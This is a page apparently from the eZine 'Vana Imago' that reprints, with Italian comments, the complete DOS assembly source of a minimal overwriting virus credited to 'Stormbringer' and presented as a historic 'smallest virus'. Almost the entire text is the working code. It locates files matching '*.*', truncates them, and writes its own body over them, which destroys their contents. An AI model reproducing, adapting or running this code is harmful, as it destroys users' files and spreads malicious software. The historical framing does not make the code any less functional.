Vana Imago 3 52

eZine lover (@eZine)

Published in 

Vana Imago

 · 5 years ago

  

;PER LA SERIE "I VIRUS CHE HANNO FATTO STORIA".... 
;PROBABILMENTE QUESTO E' IL VIRUS + PICCOLO MAI SCRITTO. 
;PROGRAMMATO DA STORMBRINGER 
; 

 
.model tiny 
.radix 16 
.code 
        org 100 
start: 
                                         
FindFile:         
        xchg    cx,ax   ;ax defaults to zero on runtime - cx doesn't 
        push    si      ;si defaults to 100h under dos - use this l8r 
        mov     dx,offset filemask 
        mov     ah,4e 
        int     21 

OverwriteFile: 
        mov     dx,9e 
        mov     ah,3c 
        int     21 

WriteVirus:         
        xchg    bx,ax 
        mov     ah,40 
        pop     dx         ;get 100h from si earlier for write pointer 
        mov     cl,endvir-start ;move only to CL, CH is already zero 
        int     21 

Terminate: 
        ret                ;terminate by returning to PSP (Int 20) 

filemask        db      '*.*',0 
endvir: 
end startõ